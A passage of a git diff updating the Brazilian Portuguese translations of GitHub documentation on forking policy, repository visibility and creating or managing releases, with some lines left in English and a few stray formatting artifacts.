   - Repositories
-shortTitle: Manage the forking policy
+shortTitle: Gerenciar a política de bifurcação
 ---
-An organization owner must allow forks of private{% ifversion ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)."
+
+Um proprietário de organização deve permitir bifurcações de repositórios privados{% ifversion ghae or ghes or ghec %} e internos{% endif %} no nível da organização antes que você possa permitir ou impedir bifurcações de um repositório específico. Para obter mais informações, consulte "[Gerenciando a política de bifurcação para sua organização](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)".
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Features", select **Allow forking**.
-  ![Checkbox to allow or disallow forking of a private repository](/assets/images/help/repository/allow-forking-specific-org-repo.png)
+3. Em "Features" (Recursos), selecione **Allow forking** (Permitir bifurcação). ![Caixa de seleção para permitir ou proibir a bifurcação de um repositório privado](/assets/images/help/repository/allow-forking-specific-org-repo.png)
 
-## Further reading
+## Leia mais
 
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Sobre bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
index 96c2ccfa4b..4388867b33 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: Setting repository visibility
-intro: You can choose who can view your repository.
+title: Definir a visibilidade de um repositório
+intro: Você pode escolher quem pode visualizar seu repositório.
 redirect_from:
   - /articles/making-a-private-repository-public
   - /articles/making-a-public-repository-private
@@ -15,90 +15,90 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Repository visibility
+shortTitle: Visibilidade do repositório
 ---
-## About repository visibility changes
 
-Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
+## Sobre alterações de visibilidade do repositório
+
+Os proprietários da organização podem restringir a capacidade de alterar a visibilidade do repositório apenas para os proprietários da organização. Para obter mais informações, consulte "[Restringir as alterações de visibilidade do repositório na sua organização](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)".
 
 {% ifversion ghec %}
 
-Members of an {% data variables.product.prodname_emu_enterprise %} can only set the visibility of repositories owned by their user account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+Members of an {% data variables.product.prodname_emu_enterprise %} can only set the visibility of repositories owned by their user account to private, and repositories in their enterprise's organizations can only be private or internal. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
 
 {% endif %}
 
-We recommend reviewing the following caveats before you change the visibility of a repository.
+Recomendamos revisar as seguintes advertências antes de alterar a visibilidade de um repositório.
 
 {% ifversion ghes or ghae %}
 
 {% warning %}
 
-**Warning:** Changes to the visibility of a large repository or repository network may affect data integrity. Visibility changes can also have unintended effects on forks. {% data variables.product.company_short %} recommends the following before changing the visibility of a repository network.
+**Aviso:** As alterações na visibilidade de um repositório grande ou rede de repositórios podem afetar a integridade dos dados. As alterações na visibilidade também podem ter efeitos não intencionais nas bifurcações. {% data variables.product.company_short %} recomenda o seguinte antes de alterar a visibilidade da rede de um repositório.
 
-- Wait for a period of reduced activity on {% data variables.product.product_location %}.
+- Aguarde um período de atividade reduzida em {% data variables.product.product_location %}.
 
-- Contact your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} before proceeding. Your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} can contact {% data variables.contact.contact_ent_support %} for further guidance.
+- Entre em contato com o administrador do seu {% ifversion ghes %}site {% elsif ghae %}proprietário da empresa{% endif %} antes de prosseguir. O {% ifversion ghes %}administrador do seu site{% elsif ghae %}proprietário da empresa{% endif %} pode entrar em contato com {% data variables.contact.contact_ent_support %} para obter mais orientação.
 
 {% endwarning %}
 
 {% endif %}
 
-### Making a repository private
+### Tornar um repositório privado
 {% ifversion fpt or ghes or ghec %}
-* {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %}
+* O {% data variables.product.product_name %} destacará bifurcações públicas do repositório público e as colocará em uma nova rede. As bifurcações públicas não se convertem em privadas.{% endif %}
 {%- ifversion ghes or ghec or ghae %}
-* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
+* Se você alterar a visibilidade de um repositório interno para privado, {% data variables.product.prodname_dotcom %} removerá bifurcações que pertencem a qualquer usuário sem acesso ao repositório privado recente. {% ifversion fpt or ghes or ghec %}A visibilidade de qualquer bifurcação também será alterada para privada.{% elsif ghae %}Se o repositório interno tiver alguma bifurcação, significa que a visibilidade das bifurcações já é privada.{% endif %} Para obter mais informações, consulte "[O que acontece com as bifurcações quando um repositório é excluído ou a visibilidade é alterada?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
 {%- endif %}
 
 {%- ifversion fpt %}
-* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+* Se você estiver usando {% data variables.product.prodname_free_user %} para contas de usuário ou organizações, alguns recursos não estarão disponíveis no repositório depois de alterar a visibilidade para privada. Qualquer site publicado do {% data variables.product.prodname_pages %} terá sua publicação cancelada automaticamente. Se você adicionou um domínio personalizado ao site do {% data variables.product.prodname_pages %}, deverá remover ou atualizar os registros de DNS antes de tornar o repositório privado para evitar o risco de uma aquisição de domínio. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
 {%- endif %}
 
 {%- ifversion fpt or ghec %}
-* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)."
+* {% data variables.product.prodname_dotcom %} não incluirá mais o repositório no {% data variables.product.prodname_archive %}. Para obter mais informações, consulte "[Sobre como arquivar conteúdo e dados no {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)".
 * {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working{% ifversion ghec %} unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats{% endif %}. {% data reusables.advanced-security.more-info-ghas %}
 {%- endif %}
 
 {%- ifversion ghes %}
-* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
+* O acesso de leitura anônimo do Git não está mais disponível. Para obter mais informações, consulte "[Habilitar acesso de leitura anônimo do Git para um repositório](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)".
 {%- endif %}
 
 {% ifversion ghes or ghec or ghae %}
 
-### Making a repository internal
+### Tornar um repositório interno
 
-* Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
+* Todas as bifurcações do repositório permanecerão na rede do repositório e a {% data variables.product.product_name %} manterá a relação entre o repositório raiz e a bifurcação. Para obter mais informações, consulte "[O que acontece com as bifurcações quando um repositório é excluído ou muda de visibilidade?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
 
-### Making a repository public
+### Tornar um repositório público
 
-* {% data variables.product.product_name %} will detach private forks and turn them into a standalone private repository. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %}
-* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see "[Viewing your community profile](/articles/viewing-your-community-profile)."
-* The repository will automatically gain access to {% data variables.product.prodname_GH_advanced_security %} features.
+* O {% data variables.product.product_name %} irá destacar bifurcações privadas e transformá-las em um repositório privado independente. Para obter mais informações, consulte "[O que acontece com as bifurcações quando um repositório é excluído ou muda a visibilidade?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %}
+* Se você estiver convertendo seu repositório privado em um repositório público, como parte de um movimento para a criação de um projeto de código aberto, consulte os [Guias de Código Aberto](http://opensource.guide) para obter dicas e diretrizes úteis. Você também pode fazer um curso grátis sobre gerenciamento de projeto de código aberto com [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Quando seu repositório é público, você também pode visualizar o perfil da comunidade do repositório para ver se os projetos atendem às práticas recomendadas de suporte aos contribuidores. Para obter mais informações, consulte "[Exibir o perfil da comunidade](/articles/viewing-your-community-profile)."
+* O repositório automaticamente receberá acesso aos recursos de {% data variables.product.prodname_GH_advanced_security %}.
 
-For information about improving repository security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."{% endif %}
+Para obter informações sobre como melhorar a segurança do repositório, consulte "[Protegendo seu repositório](/code-security/getting-started/securing-your-repository)".{% endif %}
 
 {% endif %}
 
-## Changing a repository's visibility
+## Alterar a visibilidade de um repositório
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Danger Zone", to the right of to "Change repository visibility", click **Change visibility**.
-   ![Change visibility button](/assets/images/help/repository/repo-change-vis.png)
-4. Select a visibility.
+3. Em "Danger Zone" (Zona de Perigo), à direita de "Alterar a visibilidade do repositório", clique **Alterar visibilidade**. ![Botão de alteração de visibilidade](/assets/images/help/repository/repo-change-vis.png)
+4. Selecione uma visibilidade.
 {% ifversion fpt or ghec %}
-   ![Dialog of options for repository visibility](/assets/images/help/repository/repo-change-select.png){% else %}
-   ![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %}
-5. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of.
-6. Click **I understand, change repository visibility**.
+   ![Caixa de diálogo de opções para visibilidade do repositório](/assets/images/help/repository/repo-change-select.png){% else %}
+![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %}
+5. Para verificar se você está alterando a visibilidade do repositório correto, digite o nome do repositório que deseja alterar a visibilidade.
+6. Clique em **Eu entendi, altere a visibilidade do repositório**.
 {% ifversion fpt or ghec %}
-   ![Confirm change of repository visibility button](/assets/images/help/repository/repo-change-confirm.png){% else %}
-   ![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %}
+   ![Confirmar alteração do botão de visibilidade do repositório](/assets/images/help/repository/repo-change-confirm.png){% else %}
+![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %}
 
 
-## Further reading
-- "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)"
+## Leia mais
+- "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)"
diff --git a/translations/pt-BR/content/repositories/releasing-projects-on-github/about-releases.md b/translations/pt-BR/content/repositories/releasing-projects-on-github/about-releases.md
index b4e5fce59b..051786a7b5 100644
--- a/translations/pt-BR/content/repositories/releasing-projects-on-github/about-releases.md
+++ b/translations/pt-BR/content/repositories/releasing-projects-on-github/about-releases.md
@@ -1,6 +1,6 @@
 ---
-title: About releases
-intro: 'You can create a release to package software, along with release notes and links to binary files, for other people to use.'
+title: Sobre as versões
+intro: 'Você pode criar uma versão de modo a empacotar software, com notas de versão e links para arquivos binários, para uso de outras pessoas.'
 redirect_from:
   - /articles/downloading-files-from-the-command-line
   - /articles/downloading-files-with-curl
@@ -17,42 +17,50 @@ versions:
 topics:
   - Repositories
 ---
-## About releases
+
+## Sobre as versões
 
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-![An overview of releases](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
+![Uma visão geral de versões](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
 {% elsif ghes > 3.3 or ghae-issue-4972 %}
-![An overview of releases](/assets/images/help/releases/releases-overview-with-contributors.png)
+![Uma visão geral de versões](/assets/images/help/releases/releases-overview-with-contributors.png)
 {% else %}
-![An overview of releases](/assets/images/help/releases/releases-overview.png)
+![Uma visão geral de versões](/assets/images/help/releases/releases-overview.png)
 {% endif %}
 
-Releases are deployable software iterations you can package and make available for a wider audience to download and use.
+Versões são iterações de software implementáveis que você pode empacotar e disponibilizar para um público mais amplo para baixar e usar.
 
-Releases are based on [Git tags](https://git-scm.com/book/en/Git-Basics-Tagging), which mark a specific point in your repository's history. A tag date may be different than a release date since they can be created at different times. For more information about viewing your existing tags, see "[Viewing your repository's releases and tags](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)."
+As versões se baseiam em [tags Git](https://git-scm.com/book/en/Git-Basics-Tagging), que marcam um ponto específico no histórico do seu repositório. Uma data de tag pode ser diferente de uma data de versão, já que elas podem ser criadas em momentos diferentes. Para obter mais informações sobre como visualizar as tags existentes, consulte "[Visualizar tags e versões do seu repositório](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)".
 
-You can receive notifications when new releases are published in a repository without receiving notifications about other updates to the repository. For more information, see {% ifversion fpt or ghae or ghes or ghec %}"[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}"[Watching and unwatching releases for a repository](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-releases-for-a-repository){% endif %}."
+Você pode receber notificações quando novas versões são publicadas em um repositório sem receber notificações sobre outras atualizações para o repositório. Para obter mais informações, consulte {% ifversion fpt or ghae or ghes or ghec %}"[Visualizando suas assinaturas](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}"[Inspecionando e desinspecionando versões para um repositório](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-releases-for-a-repository){% endif %}."
 
-Anyone with read access to a repository can view and compare releases, but only people with write permissions to a repository can manage releases. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)."
+Qualquer pessoa com acesso de leitura a um repositório pode ver e comparar versões, mas somente pessoas com permissões de gravação a um repositório podem gerenciar versões. Para obter mais informações, consulte "[Gerenciando versões em um repositório](/github/administering-a-repository/managing-releases-in-a-repository)."
 
 {% ifversion fpt or ghec %}
 
-You can manually create release notes while managing a release. Alternatively, you can automatically generate release notes from a default template, or customize your own release notes template. For more information, see "[Automatically generated release notes](/repositories/releasing-projects-on-github/automatically-generated-release-notes)."
+Você pode criar notas de versão manualmente enquanto gerencia uma versão. Como alternativa, você pode gerar automaticamente notas de versão a partir de um modelo padrão, ou personalizar seu próprio modelo de notas de versão. Para obter mais informações, consulte "[Notas de versão geradas automaticamente](/repositories/releasing-projects-on-github/automatically-generated-release-notes)".
+
+Pessoas com permissões de administrador para um repositório podem escolher se objetos {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) estão incluídos nos arquivos ZIP e tarballs que {% data variables.product.product_name %} cria para cada versão. Para obter mais informações, consulte "
+
+[Gerenciando {% data variables.large_files.product_name_short %} objetos nos arquivos de seu repositório](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)". </p> 
 
-People with admin permissions to a repository can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
 {% endif %}
 
 {% ifversion fpt or ghec %}
-If a release fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
 
-You can view the **Dependents** tab of the dependency graph to see which repositories and packages depend on code in your repository, and may therefore be affected by a new release. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+Se uma versão consertar uma vulnerabilidade de segurança, você deverá publicar uma consultoria de segurança no seu repositório. {% data variables.product.prodname_dotcom %} revisa a cada consultoria de segurança publicado e pode usá-lo para enviar {% data variables.product.prodname_dependabot_alerts %} para repositórios afetados. Para obter mais informações, consulte "[Sobre as consultorias de segurança do GitHub](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+
+Você pode visualizar a aba **Dependentes** do gráfico de dependências para ver quais repositórios e pacotes dependem do código no repositório e pode, portanto, ser afetado por uma nova versão. Para obter mais informações, consulte "[Sobre o gráfico de dependência](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)". 
+
 {% endif %}
 
-You can also use the Releases API to gather information, such as the number of times people download a release asset. For more information, see "[Releases](/rest/reference/repos#releases)."
+Você também pode usar a API de Releases para reunir informações, tais como o número de vezes que as pessoas baixam um ativo de versão. Para obter mais informações, consulte "[Versões](/rest/reference/repos#releases)".
 
 {% ifversion fpt or ghec %}
-## Storage and bandwidth quotas
 
- Each file included in a release must be under {% data variables.large_files.max_file_size %}. There is no limit on the total size of a release, nor bandwidth usage.
+
+## Cotas de armazenamento e banda
+
+Cada arquivo incluído em uma versão deve ser inferior a {% data variables.large_files.max_file_size %}. Não há limite para o tamanho total de uma versão, nem uso de largura de banda.
 
 {% endif %}
diff --git a/translations/pt-BR/content/repositories/releasing-projects-on-github/index.md b/translations/pt-BR/content/repositories/releasing-projects-on-github/index.md
index feb05945b2..a6f53798aa 100644
--- a/translations/pt-BR/content/repositories/releasing-projects-on-github/index.md
+++ b/translations/pt-BR/content/repositories/releasing-projects-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Releasing projects on GitHub
-intro: 'You can create a release to package software, release notes, and binary files for other people to download.'
+title: Lançando projetos no GitHub
+intro: 'Você pode criar uma versão de modo a empacotar software, notas de versão e arquivos binários para outras pessoas baixarem.'
 redirect_from:
   - /categories/85/articles
   - /categories/releases
@@ -21,6 +21,6 @@ children:
   - /comparing-releases
   - /automatically-generated-release-notes
   - /automation-for-release-forms-with-query-parameters
-shortTitle: Release projects
+shortTitle: Projetos de versão
 ---
 
diff --git a/translations/pt-BR/content/repositories/releasing-projects-on-github/linking-to-releases.md b/translations/pt-BR/content/repositories/releasing-projects-on-github/linking-to-releases.md
index 373eb11252..9cf07d5cbb 100644
--- a/translations/pt-BR/content/repositories/releasing-projects-on-github/linking-to-releases.md
+++ b/translations/pt-BR/content/repositories/releasing-projects-on-github/linking-to-releases.md
@@ -16,11 +16,11 @@ topics:
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-3. To copy a unique URL to your clipboard, find the release you want to link to, right click the title, and copy the URL.
+3. Para copiar uma URL única para a área de transferência, encontre a versão à qual você deseja vincular, clique com o botão direito no título e copie a URL.
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-  ![Release title](/assets/images/help/releases/release-title.png)
+  ![Título da versão](/assets/images/help/releases/release-title.png)
 {% else %}
-  ![Release title](/assets/images/help/releases/release-title-old.png)
+  ![Título da versão](/assets/images/help/releases/release-title-old.png)
 {% endif %}
 1. Como alternativa, clique com o botão direito em **Última versão** e copie a URL para compartilhá-la. O sufixo dessa URL será sempre `/releases/latest`.
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
diff --git a/translations/pt-BR/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md b/translations/pt-BR/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
index eff47a5b08..426c1ef450 100644
--- a/translations/pt-BR/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
+++ b/translations/pt-BR/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing releases in a repository
-intro: You can create releases to bundle and deliver iterations of a project to users.
+title: Gerenciar versões em repositórios
+intro: Você pode criar versões para empacotar e entregar iterações de um projeto para os usuários.
 redirect_from:
   - /articles/creating-releases
   - /articles/listing-and-editing-releases
@@ -18,71 +18,111 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Manage releases
+shortTitle: Gerenciar versões
 ---
+
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-## About release management
+## Sobre o gerenciamento da versão
 
-You can create new releases with release notes, @mentions of contributors, and links to binary files, as well as edit or delete existing releases.
+Você pode criar novas versões com observações de versões, @menções de contribuidores e links para arquivos binários, bem como editar ou excluir versões existentes.
 
 {% ifversion fpt or ghec %}
-You can also publish an action from a specific release in {% data variables.product.prodname_marketplace %}. For more information, see "<a href="/actions/creating-actions/publishing-actions-in-github-marketplace" class="dotcom-only">Publishing an action in the {% data variables.product.prodname_marketplace %}</a>."
+Você também pode publicar uma ação a partir de uma versão específica em {% data variables.product.prodname_marketplace %}. Para obter mais informações, consulte "<a href="/actions/creating-actions/publishing-actions-in-github-marketplace" class="dotcom-only">Publicar uma ação no {% data variables.product.prodname_marketplace %}</a>"
+
+Você pode escolher se objetos {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) estão incluídos nos arquivos ZIP e tarballs que {% data variables.product.product_name %} cria para cada versão. Para obter mais informações, consulte "
+
+[Gerenciando {% data variables.large_files.product_name_short %} objetos nos arquivos de seu repositório](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)". </p> 
 
-You can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
-{% endif %}
 {% endif %}
 
-## Creating a release
 
-{% include tool-switcher %}
+
+{% endif %}
+
+
+
+## Criando uma versão
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
+
+
+
 {% data reusables.repositories.releases %}
-3. Click **Draft a new release**.
 
+3. Clique em **Draft a new release** (Rascunhar uma nova versão).
+   
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}![Releases draft button](/assets/images/help/releases/draft-release-button-with-search.png){% else %}![Releases draft button](/assets/images/help/releases/draft_release_button.png){% endif %}
-4. {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}Click **Choose a tag**, type{% else %}Type{% endif %} a version number for your release{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}, and press **Enter**{% endif %}. Alternatively, select an existing tag.
 
-   {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}![Enter a tag](/assets/images/help/releases/releases-tag-create.png)
-5. If you are creating a new tag, click **Create new tag**.
+4. {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}Click **Escolha uma tag**, digite{% else %}Digite{% endif %} o número de uma versão para a sua versão{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %} e pressione **Enter**{% endif %}. Como alternativa, selecione um tag existente.
+   
+   {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}![Insira uma tag](/assets/images/help/releases/releases-tag-create.png)
 
-   ![Confirm you want to create a new tag](/assets/images/help/releases/releases-tag-create-confirm.png)
+5. Se você estiver criando uma nova tag, clique em **Criar nova tag**.
+   
+   ![Confirme que você deseja criar uma nova tag](/assets/images/help/releases/releases-tag-create-confirm.png) 
+   
    {% else %}
-   ![Releases tagged version](/assets/images/enterprise/releases/releases-tag-version.png)
-{% endif %}
-5. If you have created a new tag, use the drop-down menu to select the branch that contains the project you want to release.
+   
+   ![Versão com tag das versões](/assets/images/enterprise/releases/releases-tag-version.png) 
+   
+   {% endif %}
 
-   {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}![Choose a branch](/assets/images/help/releases/releases-choose-branch.png)
+5. Se você criou uma nova tag, use o menu suspenso para selecionar o branch que contém o projeto que você deseja liberar.
+   
+   {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}![Escolha um branch](/assets/images/help/releases/releases-choose-branch.png) 
+   
    {% else %}![Releases tagged branch](/assets/images/enterprise/releases/releases-tag-branch.png){% endif %}
-6. Type a title and description for your release.
+
+6. Digite um título e uma descrição para a sua versão. 
+   
    {%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4972 %}
-   If you @mention any {% data variables.product.product_name %} users in the description, the published release will include a **Contributors** section with an avatar list of all the mentioned users.
+
+   
+   Se você @mencionar qualquer usuário de {% data variables.product.product_name %} na descrição, a versão publicada incluirá uma seção de **Colaboradores** com uma lista de avatar de todos os usuários mencionados. 
+   
    {%- endif %}
-   {% ifversion fpt or ghec %} Alternatively, you can automatically generate your release notes by clicking **Auto-generate release notes**.
+   
+   
+   
+   {% ifversion fpt or ghec %} Como alternativa, você pode gerar automaticamente as suas observações de versão, clicando em **Gerar observações de versão automaticamente**. 
+   
    {% endif %}
-   ![Releases description](/assets/images/help/releases/releases_description_auto.png)
-7. Optionally, to include binary files such as compiled programs in your release, drag and drop or manually select files in the binaries box.
-   ![Providing a DMG with the Release](/assets/images/help/releases/releases_adding_binary.gif)
-8. To notify users that the release is not ready for production and may be unstable, select **This is a pre-release**.
-   ![Checkbox to mark a release as prerelease](/assets/images/help/releases/prerelease_checkbox.png)
-{%- ifversion fpt or ghec %}
-1. Optionally, if {% data variables.product.prodname_discussions %} are enabled in the repository, select **Create a discussion for this release**, then select the **Category** drop-down menu and click a category for the release discussion.
-  ![Checkbox to create a release discussion and drop-down menu to choose a category](/assets/images/help/releases/create-release-discussion.png)
-{%- endif %}
-9. If you're ready to publicize your release, click **Publish release**. To work on the release later, click **Save draft**.
-   ![Publish release and Draft release buttons](/assets/images/help/releases/release_buttons.png)
+   
+   ![Descrição das versões](/assets/images/help/releases/releases_description_auto.png)
 
+7. Opcionalmente, para incluir arquivos binários, como programas compilados em sua versão, arraste e solte ou selecione arquivos manualmente na caixa de binários. ![Fornecer um DMG com a versão](/assets/images/help/releases/releases_adding_binary.gif)
+
+8. Para notificar os usuários que a versão não está pronta para produção e pode ser instável, selecione **This is a pre-release** (Esta é uma versão prévia). ![Caixa de seleção para marcar uma versão como pré-versão](/assets/images/help/releases/prerelease_checkbox.png) 
+   
+   {%- ifversion fpt or ghec %}
+
+1. Opcionalmente, se {% data variables.product.prodname_discussions %} estiver habilitado no repositório, selecione **Criar uma discussão para esta versão** e, em seguida, selecione o menu suspenso **Categoria** e clique em uma categoria para a discussão de da versão. ![Caixa de seleção para criar uma discussão de versão e menu suspenso para escolher uma categoria](/assets/images/help/releases/create-release-discussion.png) 
+   
+   {%- endif %}
+
+9. Se estiver pronto para tornar pública a sua versão, clique em **Publish release** (Publicar versão). Para trabalhar na versão posteriormente, clique em **Save draft** (Salvar rascunho). ![Botões Publish release (Publicar versão) e Draft release (Rascunhar versão)](/assets/images/help/releases/release_buttons.png)
+   
    {%- ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4972 or ghae-issue-4974 %}
-   You can then view your published or draft releases in the releases feed for your repository. For more information, see "[Viewing your repository's releases and tags](/github/administering-a-repository/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags)."
 
+   
+   Você pode visualizar as suas versões publicadas ou rascunhos no feed de versões do seu repositório. Para obter mais informações, consulte "[Visualizando versões e tags do seu repositório](/github/administering-a-repository/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags).
+   
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
